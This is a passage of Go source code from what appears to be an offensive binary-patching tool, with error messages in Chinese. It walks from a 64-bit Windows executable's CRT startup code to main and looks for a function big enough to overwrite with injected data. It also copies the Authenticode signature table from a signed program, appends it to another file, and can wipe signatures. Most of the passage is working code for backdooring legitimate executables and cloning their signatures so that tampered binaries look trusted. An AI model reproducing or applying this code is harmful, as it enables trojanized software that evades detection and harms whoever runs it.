crtR8AddrCount := 0 791 | for i := 0; i < len(code)-3; i++ { 792 | if code[i] == 0x4C && code[i+1] == 0x8B && code[i+2]>>4 == 0xC { // mov r8, ... 793 | crtR8AddrCount++ 794 | if crtR8AddrCount == 1 { 795 | crtR8Addr = codeVa + uint64(i) 796 | fmt.Printf("CRT's mov r8 instruction VA: 0x%x\n", crtR8Addr) 797 | break 798 | } 799 | } 800 | } 801 | return findByR8(pePath, crtR8Addr, dataLen) 802 | } 803 | 804 | func isHex(s string) bool { 805 | matched, _ := regexp.MatchString(`^0x[0-9a-fA-F]+$`, s) 806 | return matched 807 | } 808 | 809 | func findByR8(pePath string, crtR8Addr uint64, dataLen int) uint64 { 810 | peFile, err := pe.Open(pePath) 811 | if err != nil { 812 | fmt.Println("无法读取PE文件:", err) 813 | return 0 814 | } 815 | defer peFile.Close() 816 | 817 | crtR8AddrRva := va2rva(peFile, crtR8Addr) 818 | codeSize := uint32(0x50) 819 | codeRva := crtR8AddrRva 820 | codeVa := uint64(codeRva) + peFile.OptionalHeader.(*pe.OptionalHeader64).ImageBase 821 | code, err := getMemoryMappedImage(peFile) 822 | if err != nil { 823 | fmt.Println("无法获取内存映射镜像:", err) 824 | return 0 825 | } 826 | 827 | code = code[codeRva : codeRva+codeSize] 828 | 829 | mainAddrCount := 0 830 | var mainAddr uint64 831 | for i := 0; i < len(code)-5; i++ { 832 | if code[i] == 0xE8 { // call opcode 833 | relativeAddr := int32(binary.LittleEndian.Uint32(code[i+1 : i+5])) 834 | opStr := fmt.Sprintf("0x%x", uint64(int64(codeVa)+int64(i)+int64(relativeAddr)+5)) 835 | if isHex(opStr) { 836 | mainAddrCount++ 837 | if mainAddrCount == 1 { 838 | mainAddr = uint64(int64(codeVa) + int64(i) + int64(relativeAddr) + 5) 839 | fmt.Printf("main instruction VA: 0x%x\n", mainAddr) 840 | break 841 | } 842 | } 843 | } 844 | } 845 | return findByMain(pePath, mainAddr, dataLen) 846 | } 847 | 848 | func findByMain(pePath string, mainAddr uint64, dataLen int) uint64 { 849 | peFile, err := pe.Open(pePath) 850 | if err != nil { 851 | fmt.Println("无法读取PE文件:", err) 852 | return 0 853 | } 854 | defer peFile.Close() 855 | 856 | mainAddrRva := va2rva(peFile, mainAddr) 857 | codeSize := uint32(0x200) 858 | codeRva := mainAddrRva 859 | codeVa := uint64(codeRva) + peFile.OptionalHeader.(*pe.OptionalHeader64).ImageBase 860 | code, err := getMemoryMappedImage(peFile) 861 | if err != nil { 862 | fmt.Println("无法获取内存映射镜像:", err) 863 | return 0 864 | } 865 | 866 | code = code[codeRva : codeRva+codeSize] 867 | 868 | for i := 0; i < len(code)-5; i++ { 869 | if code[i] == 0xE8 || code[i] == 0xE9 { // call or jmp opcode 870 | relativeAddr := int32(binary.LittleEndian.Uint32(code[i+1 : i+5])) 871 | patchAddr := uint64(int64(codeVa) + int64(i) + int64(relativeAddr) + 5) 872 | opStr := fmt.Sprintf("0x%x", patchAddr) 873 | if isHex(opStr) { 874 | fmt.Printf("may patch: 0x%x\n", patchAddr) 875 | if filterByFuncRet(pePath, patchAddr, dataLen) { 876 | fmt.Printf("patch func instruction VA: 0x%x\n", patchAddr) 877 | return patchAddr 878 | } 879 | } 880 | } 881 | } 882 | return 0 883 | } 884 | 885 | func filterByFuncRet(pePath string, patchAddr uint64, dataLen int) bool { 886 | peFile, err := pe.Open(pePath) 887 | if err != nil { 888 | fmt.Println("无法读取PE文件:", err) 889 | return false 890 | } 891 | defer peFile.Close() 892 | 893 | patchAddrRva := va2rva(peFile, patchAddr) 894 | codeSize := uint32(0x4000) 895 | codeRva := patchAddrRva 896 | codeVa := uint64(codeRva) + peFile.OptionalHeader.(*pe.OptionalHeader64).ImageBase 897 | code, err := getMemoryMappedImage(peFile) 898 | if err != nil { 899 | fmt.Println("无法获取内存映射镜像:", err) 900 | return false 901 | } 902 | 903 | if int(codeRva+codeSize) > len(code) { 904 | return false 905 | } 906 | code = code[codeRva : codeRva+codeSize] 907 | 908 | var patchRetnAddr uint64 909 | patchAddrCount := 0 910 | for i := 0; i < len(code)-2; i++ { 911 | if code[i] == 0x5B && code[i+1] == 0xC3 { // ret opcode 912 | patchAddrCount++ 913 | if patchAddrCount == 1 { 914 | patchRetnAddr = codeVa + uint64(i) 915 | fmt.Printf("patch func retn VA: 0x%x\n", patchRetnAddr) 916 | break 917 | } 918 | } 919 | } 920 | fmt.Printf("Function size: 0x%x\n", patchRetnAddr-patchAddr) 921 | return patchRetnAddr-patchAddr > uint64(dataLen) 922 | } 923 | 924 | func getMemoryMappedImage(peFile *pe.File) ([]byte, error) { 925 | imageSize := peFile.OptionalHeader.(*pe.OptionalHeader64).SizeOfImage 926 | image := make([]byte, imageSize) 927 | 928 | for _, section := range peFile.Sections { 929 | data, err := section.Data() 930 | if err != nil { 931 | return nil, fmt.Errorf("无法获取节区数据: %v", err) 932 | } 933 | start := int(section.VirtualAddress) 934 | end := start + len(data) 935 | copy(image[start:end], data) 936 | } 937 | return image, nil 938 | } 939 | 940 | func getWord(file *os.File) uint32 { 941 | fil := make([]byte, 2) 942 | at, err := file.Read(fil) 943 | if err != nil || at == 0 { 944 | log.Fatal(err.Error()) 945 | } 946 | return uint32(binary.LittleEndian.Uint16(fil)) 947 | 948 | } 949 | func getDword(file *os.File) uint32 { 950 | fil := make([]byte, 4) 951 | at, err := file.Read(fil) 952 | if err != nil || at == 0 { 953 | log.Fatal(err.Error()) 954 | } 955 | return binary.LittleEndian.Uint32(fil) 956 | } 957 | 958 | func GetPeInfo(path string) (int64, uint32, uint32) { 959 | 960 | file, err := os.Open(path) 961 | if err != nil { 962 | log.Fatal(err.Error()) 963 | } 964 | defer file.Close() 965 | fmt.Println("[*] Got the File") 966 | _, err = file.Seek(0x3c, 0) 967 | if err != nil { 968 | log.Fatal(err) 969 | } 970 | 971 | peHeaderLocation := getDword(file) 972 | CoffStart := int64(peHeaderLocation) + 4 973 | OptionalheaderStart := CoffStart + 20 974 | _, err = file.Seek(OptionalheaderStart, 0) 975 | if err != nil { 976 | log.Fatal(err.Error()) 977 | } 978 | Magic := getWord(file) 979 | _, err = file.Seek(OptionalheaderStart+24, 0) 980 | if err != nil { 981 | log.Fatal(err.Error()) 982 | } 983 | // var imgBase uint64 984 | if Magic != 0x20b { 985 | file.Seek(4, io.SeekCurrent) 986 | 987 | } 988 | 989 | if Magic != 0x20b { 990 | file.Seek(4, io.SeekCurrent) 991 | //imgBase = uint64(getDword(file)) 992 | } else { 993 | file.Seek(8, io.SeekCurrent) 994 | //imgBase = getQword(file) 995 | } 996 | position, _ := file.Seek(0, io.SeekCurrent) 997 | 998 | file.Seek(position+40, 0) 999 | 1000 | if Magic == 0x20b { 1001 | file.Seek(32, io.SeekCurrent) 1002 | } else { 1003 | file.Seek(16, io.SeekCurrent) 1004 | } 1005 | 1006 | CertTableLOC, _ := file.Seek(40, io.SeekCurrent) 1007 | fmt.Println("[*] Got the CertTable") 1008 | CertLOC := getDword(file) 1009 | CertSize := getDword(file) 1010 | 1011 | return CertTableLOC, CertLOC, CertSize 1012 | } 1013 | 1014 | func CopyCert(path string) []byte { 1015 | _, CertLOC, CertSize := GetPeInfo(path) 1016 | if CertSize == 0 || CertLOC == 0 { 1017 | log.Fatal("[*] Input file Not signed! ") 1018 | } 1019 | file, err := os.Open(path) 1020 | defer file.Close() 1021 | if err != nil { 1022 | log.Fatal(err.Error()) 1023 | } 1024 | 1025 | file.Seek(int64(CertLOC), 0) 1026 | cert := make([]byte, CertSize) 1027 | file.Read(cert) 1028 | fmt.Println("[*] Read the Cert successfully") 1029 | return cert 1030 | } 1031 | func WriteCert(cert []byte, path string, outputPath string) { 1032 | CertTableLOC, _, _ := GetPeInfo(path) 1033 | // copyFile(path, outputPath) 1034 | file1, err := os.Open(path) 1035 | if err != nil { 1036 | log.Fatal(err.Error()) 1037 | } 1038 | file2, err := os.OpenFile(outputPath, os.O_WRONLY|os.O_CREATE, 0755) 1039 | if err != nil { 1040 | log.Fatal(err.Error()) 1041 | } 1042 | defer file2.Close() 1043 | defer file1.Close() 1044 | 1045 | file1Info, err := os.Stat(path) 1046 | file1Len := file1Info.Size() 1047 | file1data := make([]byte, file1Len) 1048 | file1.Read(file1data) 1049 | file2.Write(file1data) 1050 | file2.Seek(CertTableLOC, 0) 1051 | x := make([]byte, 4) 1052 | binary.LittleEndian.PutUint32(x, uint32(file1Len)) 1053 | file2.Write(x) 1054 | bCertLen := make([]byte, 4) 1055 | binary.LittleEndian.PutUint32(bCertLen, uint32(len(cert))) 1056 | file2.Write(bCertLen) 1057 | file2.Seek(0, io.SeekEnd) 1058 | file2.Write(cert) 1059 | fmt.Println("[*] Signature appended!") 1060 | } 1061 | 1062 | func clearcert(path string) { 1063 | CertTableLOC, CertLOC, CertSize := GetPeInfo(path) 1064 | if CertSize == 0 || CertLOC == 0 { 1065 | //fmt.Println("[*] Input file Not signed! ") 1066 | return 1067 | } 1068 | 1069 | file, err := os.OpenFile(path, os.O_RDWR, 0644) 1070 | if err != nil { 1071 | log.Fatal(err.Error()) 1072 | } 1073 | defer file.Close() 1074 | 1075 | // 将证书表的位置和大小设置为 0 1076 | file.Seek(CertTableLOC, 0) 1077 | zero := make([]byte, 8) 1078 | file.Write(zero) 1079 | 1080 | // 将原本的证书位置填充 0x00 1081 | file.Seek(int64(CertLOC), 0) 1082 | emptyCert := make([]byte, CertSize) 1083 | file.Write(emptyCert) 1084 | 1085 | fmt.Println("[*] Signature cleared successfully") 1086 | } 1087 | 1088 | // backupFile creates a backup of the given file 1089 | func backupFile(filepath string) error { 1090 | srcFile, err := os.Open(filepath) 1091 | if err != nil { 1092 | return err 1093 | } 1094 | defer srcFile.Close() 1095 | 1096 | destFile, err := os.Create(filepath + ".bak") 1097 | if err != nil { 1098 | return err 1099 | } 1100 | defer destFile.Close() 1101 | 1102 | _, err = io.Copy(destFile, srcFile) 1103 | if err != nil { 1104 | return err 1105 | } 1106 | 1107 | return nil 1108 | } 1109 | --------------------------------------------------------------------------------